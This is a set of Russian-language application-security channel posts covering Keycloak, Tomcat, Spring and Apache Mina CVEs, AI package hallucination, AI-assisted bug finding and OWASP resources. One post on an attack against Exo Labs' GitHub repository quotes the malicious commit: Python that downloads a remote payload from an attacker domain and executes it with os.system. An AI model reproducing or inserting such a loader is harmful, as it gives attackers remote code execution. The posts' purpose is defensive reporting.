Сегодня пришлось поразбираться еще с одной около-Java уязвимостью - CVE-2024-8698, байпасс аутентификационного механизма SAML в популярном продукте Keycloak.

Уязвимости разного рода критичности в Keycloak обнаруживают регулярно и самой частой проблемой является Open Redirect, который служит хорошей основой для фишинга (и такая уязвимость на этой неделе на него тоже была опубликована, CVE-2024-8883). Но на этот раз более критичной оказалась проблема аутентификации при использовании SAML(Security Assertion Markup Language).

Уязвимость обнаружена в классе XMLSignatureUtil, который отвечает за проверку подписей SAML. Класс неправильно определяет, распространяется ли подпись на весь документ SAML или только на отдельные его части, основываясь исключительно на позиции подписи в структуре XML. Из-за этого специальным образом созданный запрос может заставить Keycloak пропустить важный элемент «Reference», который явно указывает, какая часть документа была подписана. Подробнее можно посмотреть в самом коде

Опубликованных PoC'ов нет, как и информации об эксплуатации, но и сама атака должна быть довольно специфической и технически сложной. Однако высокий CVSS в 7.7 свидетельствует о том, что игнорировать ее все же не стоит.

CVE-2024-38286 - OutOfMemoryError в Tomcat

Java-продуктам досталось за последние пару-тройку недель.

В Tomcat было обнаружено две уязвимости, потенциально приводящих к Denial of Service и проявляющихся в виде OutOfMemoryError падения, либо в исчерпании потоков работы с HTTP/2 за счет незакрытия соединений.
OutOfMemoryError связан с некорректной обработкой TLS handshake, патч добавляет константу HANDSHAKE_WRAP_QUEUE_LENGTH_LIMIT и проверяет состояние очереди на непреодоление ее значения.

Проблема в том, что зачастую уязвимости типа OutOfMemoryError (и в принципе многие уязвимости, связанные с переполнением) далее раскручиваются и приводят к удаленному исполнению кода. Неизвестно, будет ли так в этом случае, но даже падение сервера с одного хэндшейка - уже история неприятная.

CVSS(критичность): 7.5

Уязвимые версии: Apache Tomcat 11.0.0-M1 - 11.0.0-M20, 10.1.0-M1 to 10.1.24, 9.0.13 to 9.0.89

Патчи: 11.0.0-M21, 10.1.25, 9.0.90

Хотим с бигдатерами потренироваться немного в безопасной разработке. Но обычных классических уязвимостей им мало, им свое подавай.

Нашла прикольную игрушку - https://gpa.43z.one/. Попытайтесь с помощью Prompt Injection выманить у GPT секретный ключ самым коротким запросом. Аж 21 левел!

Сразу про две уязвимости в Spring!

☄️CVE-2024-38819

Уязвимость Path traversal в веб-фреймворках WebMvc.fn и WebFlux.fn приводит к возможности создания вредоносного http запроса, позволяющего получить произвольный файл в операционной системе, к которому есть доступ у процесса Spring-приложения.

Уязвимость очень похожа на вышедшую месяцем ранее CVE-2024-38816, но немного отличается вектором.

Уязвимые версии фреймворка Spring: 5.3.0 - 5.3.40, 6.0.0 - 6.0.24, 6.1.0 - 6.1.13, неподдерживаемые устаревшие версии также уязвимы.

Патч для опенсорсной версии: 6.1.14
Патч при enterprise support: 5.3.41, 6.0.25

Критичность CVSS 4.0: 8.7 (CVSS 3.1: 7.5)

https://spring.io/security/cve-2024-38819




☄️Обход авторизации на доступ к статическим ресурсам в WebFlux приложениях

Правила авторизации Spring Security для доступа к статическим ресурсам, используемые в приложения Spring WebFlux, можно обойти при определенных обстоятельствах. Для успешной эксплуатации уязвимости должно быть выполнено следующее:

1. WebFlux приложение
2. Используется поддержка Spring для статических ресурсов
3. Выставлены правила для доступа к статическим ресурсам, отличные от permitAll


Уязвимые версии фреймворка Spring: 5.7.0 - 5.7.12, 5.8.0-5.8.14, 6.0.0 - 6.0.12, 6.1.0 - 6.1.10, 6.2.0 - 6.2.6, 6.3.0 - 6.3.3, неподдерживаемые устаревшие версии также уязвимы.

Патч для опенсорсной версии: 6.2.7, 6.3.4
Патч при enterprise support: 5.7.13, 5.8.15, 6.0.13, 6.1.11

Критичность CVSS 3.1: 8.8

https://spring.io/security/cve-2024-38821

AI Package Hallucination

Годовой давности статья, которая поднимает вопрос того, можно ли полагаться на код, сгенерированный ИИ.
Исследователи распарсили вопросы со StackOverflow, которые так и остались без ответа, и на основе их собрали базу запросов для ChatGPT. Уточнили эти вопросы, дополнив деталями и просьбой подсказать библиотеку, решающую ту или иную задачу, и задали их боту. Затем проверили полученные ответы, выбрали те из них, которые являются галлюцинациями, и насобирали порядка 150 имен библиотек, которых не существует в природе и которые рекомендует ChatGPT к использованию. И единственный шаг, который осталось сделать, -- зарегать библиотеки с такими же именами и с вредоносной нагрузкой.

Красиво, массово, легко реализуется, ничего нового. Последствия могут быть потенциально катастрофическими, ведь даже typosquatting, впервые массово реализованный Тчачером в рамках курсовой работы студента, имел весьма широкий эффект.

На всякий случай напоминаю - полагаться на ИИ как на авторитет не стоит ни в каких задачах.

https://vulcan.io/blog/ai-hallucinations-package-risk

Про стажеров, логи и сроки

Ходят разные интересные ⁠⁠слухи про ByteDance, владельцев популярного продукта TikTok. Якобы один из стажеров на протяжении двух месяцев целенаправленно саботировал процесс обучения модели разрабатываемого генеративного AI, периодически осуществляя инъекции кода (проще говоря, рассылая вирусы) на серверах, где тренируется система, а также вмешиваясь в работу GPU. При этом парень посещал мероприятия с разбором инцидентов, делая вид, что не понимает, как же такое могло произойти.

И только в рамках расследования (как хорошо, что они пишут логи!) удалось доказать его вину, которую он в итоге признал.

Однако ущерб оценивается источниками как приближающийся к 10 миллионам $. Ну и проигрышу в гонке ИИ, которая сейчас развернулась между крупными участниками сферы в Китае.

Правда, сами ByteDance ⁠утверждают, что ущерб был значительно меньше и история сильно раздута, однако многие независимые эксперты высказывают скепсис на этот счет.

Но как же важно вести логи, правильно их обрабатывать и вовремя реагировать. Даже во внутренних системах.

Канал не про ИИ, но от него никуда не деться


Как многие аппсеки, с интересом наблюдаю, что происходит на стыке задач поиска уязвимостей в коде и ИИ. И уже появилось несколько интересных примеров. Но сегодня попалась статья о совместном творении Google project zero и DeepMind. И как всегда у первых, статья с хорошим описанием обнаруженной уязвимости и техническими подробностями, что, почему и как.
С помощью агента Big Sleep им удалось найти уязвимость в SQLite, приводящую к ошибкам памяти. А это такой класс уязвимостей, который потенциально может оказаться очень серьезной проблемой уровня "отстрелить не ногу, а мозг через глаз". В статье они приводят не только описание процесса поиска, но и исследование того, можно ли было найти подробную проблему старым-добрым фаззингом. Спойлер: в общем, скорее нельзя, если не знать о ней заранее.

Мысли об LLM анализаторе кода очень сильно греют надеждой на расширение возможностей SAST для поиска, скажем, логических уязвимостей. А если ещё и RAG и можно скормить ТЗ, то вдруг и IDOR найдет🤯. Ждём новостей.

Еще один удар по Open Source

Атаками на проекты в GitHub в последнее время никого особо не шокируешь, но все же попадаются интересные случаи. На прошлой неделе досталось репозиторию стартапа в области AI и ML - Exo Labs, о чем рассказал его CEO в твиттере. Код вредоносного коммита выглядел "невинно" (по словам Alex Cheema), подпись к пулл реквесту ("clarify mlx requirement for deepseek models") особых вопросов не вызвала. По сути в коммите в URL-encode присутствовал следующий код:

import os
import urllib
import urllib.request
x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)

Казалось бы, неудачная попытка вложить закладку? особенно с учетом отсутствия stage1payload по указанному адресу. Но все немного интереснее: аккаунт, с которого был сделан PR, естественно, уже не существует, но вот домен принадлежит вполне себе реальному исследователю безопасности, который свою причастность к атаке отрицает.
Но дальше начинается самое интересное - аналогичные коммиты, содержащие тот же самый байткод, от разных пользователей были осуществлены в как минимум 18 разных проектов, в том числе, проекты с десятками тысяч звезд.

Не до конца понятная история, было это неуспешной атакой или успешным прикрытием чего-то другого - пока неясно. Но вот важность code-review еще раз подчеркнуть хотелось бы. Разумеется, нашлись энтузиасты, которые проверили, как отработали бы в этой ситуации ИИ инструменты для ревью, и они отработали хорошо. Но ложных надежд лучше не питать.

когда думаешь, что в телеграме рассадник ботов со всяким непотребством, а потом заходишь в gitter комнату Spring Security

Хорошая статья про то, как можно запороть аутентификацию. Многие из описанных проблем настолько очевидно-невероятные, что люди прям искренне удивляются, когда такие проблемы обнаруживаются в их продуктах

https://blog.intigriti.com/hacking-tools/broken-authentication-a-complete-guide-to-exploiting-advanced-authentication-vulnerabilities

На тренингах по моделированию угроз мы с командами разработки обычно разбираем какую-то одну фичу очень детально, со всех сторон прикидывая, что может пойти не так. И довольно часто это задача аплоада картинки в аватар пользователя. И, как это обычно бывает, взгляд разработчика на фичу сильно отличается от взгляда атакующего.

У intigriti вышла еще одна классная статья как раз про то, как обходить те ограничения, которые обычно призваны защитить функционал загрузки файлов. В статье есть не все подходы, но она интересна как раз демонстрацией того, что может и будет пытаться делать злоумышленник.

https://blog.intigriti.com/hacking-tools/insecure-file-uploads-a-complete-guide-to-finding-advanced-file-upload-vulnerabilities

TOCTOU Race Condition - Apache Tomcat

Классный тип уязвимостей - уязвимости, возникающие на гонках. Race Condition сложнее поймать, сложнее протестировать, сложнее отдебажить. Да и исправление зачастую приводит к уменьшению производительности. Однако уязвимости, возникающие при неправильном контроле зашаренных ресурсов, бывают очень любопытные. Как, например, свежая RCE в Tomcat.

Более конкретное название этой уязвимости - Time-of-check Time-of-use (TOCTOU) Race Condition. Происходит такой тип проблемы, когда есть проверка состояния какого-то параметра и его дальнейшее использование должно быть завязано на результат этой проверки. В случае с Apache Tomcat злоумышленнику для успешной атаки нужно стриггерить процесс проверки метаданных файла, а затем успеть подменить файл вредоносным с таким же именем, но в другом регистре, пока проверка еще не закончена. А с учетом того, что уязвимость в процессе компиляции JSP, то привести это может к удаленному исполнению кода.

Несмотря на высокую оценку CVSS уязвимость, вероятно, не будет иметь очень большого распространения, т.к. сработает это только на системах, нечувствительных к регистру, а также при разрешении на запись на дефолтном сервлете, что не является настройкой по умолчанию.

Исправлена уязвимость была добавлением класса ResourceLock и методов, имплементирующих исключительную блокировку при обращении к файлам.


Уязвимые версии:
- Apache Tomcat 11.0.0-M1 through 11.0.1
- Apache Tomcat 10.1.0-M1 through 10.1.33
- Apache Tomcat 9.0.0.M1 through 9.0.97


Патчи: 11.0.2, 10.1.34 или 9.0.98

CVSS: 9.8 (CVSS v3.x)

Подробнее: https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r

Код патча доступен здесь , но первая версия была сама с багом, потребовалось еще дополнение

Обзор крупнейших взломов 2024

Под конец года часто выходят статьи, обозревающие самые шумные взломы, самые неприятные уязвимости, самые распространенные атаки. Одна из интересных статей вышла в блоге EFF (Electronic Frontier Foundation). Несколько интересных моментов:

😿 Из 12 обзоров 2 были осуществлены на системы хранения и обработки медицинских данных, 2 на государственные системы, 2 на банки и 1 на телекоммуникационную компанию (причем авторы утверждают, что косвенной причиной тому стал ее статус, который у нас назыается КВОИКИ)
😾 Самый "глупенький" кейс, конечно, spoutible - ребята просто собрали топчик того, как делать не нужно.
😼 Так или иначе 30% взломов в этой статье использовали небезопасные прямые ссылки (IDOR), - одну из самых легко автоматизируемых уязвимостей.
🙀 Любопытно, что из года в год жертвами таких крупных взломов становятся компании, так или иначе имеющие отношение к IT. Там, где, казалось бы, безопасность должна восприниматься как неотъемлемая часть непрерывного процесса, происходят самые громкие взломы - как у Roku или Snowflake.

В целом, авторы заключают, что в 2023 количество взломов составило около 3000, а в 2024 - всего около 2200, однако есть большие сомнения насчет того, что а) обо всех взломах информация раскрывается, б) обо всех взломах информация доступна именно авторам этой аналитики. К тому же, никто не исключает предвзятость авторов.

Но с такими статьями все же очень полезно знакомиться тем, у кого есть свои родные цифровые продукты, на которые не плевать❤️

Apache Mina - уязвимость десериализации в Java

Четыре дня назад вышла публикация новости об абсолютно прекрасной уязвимости в Apache Mina.

Почему прекрасной? Во-первых, 10.0 CVSS, что бывает редко. Во-вторых, это уязвимость небезопасной десериализации в java - почему-то разработчики зачастую говорят мне, что сейчас они не встречаются и остались в далеких 2017-2018 годах.
Важной особенностью уязвимости является тот факт, что просто пропатчиться от нее не получится - для устранения придется менять код, добавляя классы, для которых десериализация разрешена, а такое все-таки бывает редко. Обычно достаточно применить патч.

Неплохое очень краткое объяснение, почему возникают уязвимости сериализации.

На замечательном канале @neverendingit недавно публиковался пост о Cybersecurity Architecture Series от IBM. В подборке в 10 коротких видео рассказывается о построении безопасной архитектуры для продуктов. Понятным языком, увлекательно и без параноидальных перегибов. Очень рекомендую к просмотру

https://www.youtube.com/playlist?list=PLOspHqNVtKADkWLFt9OcziQF7EatuANSY

Шикарная статья об атаках на OAuth и о том, какие ошибки часто допускаются при его конфигурации и создании флоу авторизации.

А к ней в догонку pdf со схемами из статьи и чек-листом, по которому можно проверить себя)

https://jprx.io/cve-2025-24118/

ок, меня хватило только на половину статьи, потому что race conditions, треды, XNU и вот это все. Но все ли обновили маки и другие яблочные устройства?

Очень красивый ресерч от багхантеров с детальным описанием того, как они рассуждали и что именно анализировали, в том числе, с указанием действий, которые не принесли результатов.

Понравилось вот это: "By using the library SWC (Speedy Web Compiler), we wrote a Rust code to parse the JS files into these ASTs and systematically traversed them to locate all import or require statements". Безопасность должна работать вот примерно так: с действительно хорошим пониманием того, что именно ломаешь\защищаешь.

А для разработчиков и девопсов статья может быть интересна взглядом со стороны нападающего. Что на самом деле в интернете нет ничего секретного и все условно "тайное" становится явным

Главный документ по безопасной разработке 📖

Команда OWASP выпустила большое количество очень полезных материалов для разработчиков, посвященных безопасности их продуктов. И самый первый документ, который по сути может служить учебным пособием, настольной книгой, чеклистом, да и просто интересным чтивом - OWASP Application Security Verification Standart (ASVS).

Стандарт состоит из 14 тематических разделов, посвященных отдельным направлениям защиты продукта. Привожу их здесь: наверняка просто по списку Вы сможете увидеть пункты, которые будут полезны Вашему продукту

1. Архитектура, дизайн, моделирование угроз
2. Аутентификация
3. Менеджмент сессий
4. Контроль доступа
5. Валидация, санитизация и кодирование
6. Криптография при хранении
7. Обработка ошибок и логирование
8. Защита данных
9. Коммуникации (защита данных при передаче)
10. Вредоносный код
11. Бизнес-логика
12. Файлы и ресурсы
13. API и вебсервисы
14. Конфигурации

📖 Стандарт ASVS выпускается на многих языках, репозиторий доступен по ссылке https://github.com/OWASP/ASVS

📖📱 А для разработчиков мобильных приложений полезным будет стандарт MASVS, в котором описываются проверки, необходимые для безопасности мобильному приложению - https://github.com/OWASP/owasp-masvs.

#owasp

OWASP Cheat Sheets

Еще одна важная вещь, которую миру подарила организация OWASP, - серия OWASP Cheat Sheets. Эта штука, вероятно, многим разработчикам будет удобнее ASVS, т.к. дает более прикладную информацию, но это скорее следствие того, что область применения у читщитов немного другая - если ASVS критически важен на этапе дизайна приложения, то читщиты - это уже про реализацию. Но маппинг одного на другое есть - чтобы было проще ориентироваться.

Про что есть шпаргалки?
- разделы, посвященные тому, как правильно организовать безопасность для конкретных технологий (например, разделы про Java, Laravel, .NET, NodeJS, отдельно про GraphQL и многое другое).
- разделы, посвященные скорее DevOps части разработки (CI/CD Security, Docker Security, Network Segmentation...).
- разделы, посвященные реализации конкретных фич, которые часто встречаются и имеют список типичных ошибок, которые допускаются при реализации (File Upload, мэнеджмент сессий, работа с XML и многое другое).
- вообще совершенно классные разделы, посвященные в целом тому, как организовать менеджмент секретов, проводить моделирование угроз, тестировать аутентификацию и даже осуществлять виртуальный патчинг.

Именно на основе этих документов можно очень быстро дополнить свой список для Code Review требованиями по Security части. Предлагаю ознакомиться с этим документом и выбрать для себя те вещи, которые касаются Ваших продуктов.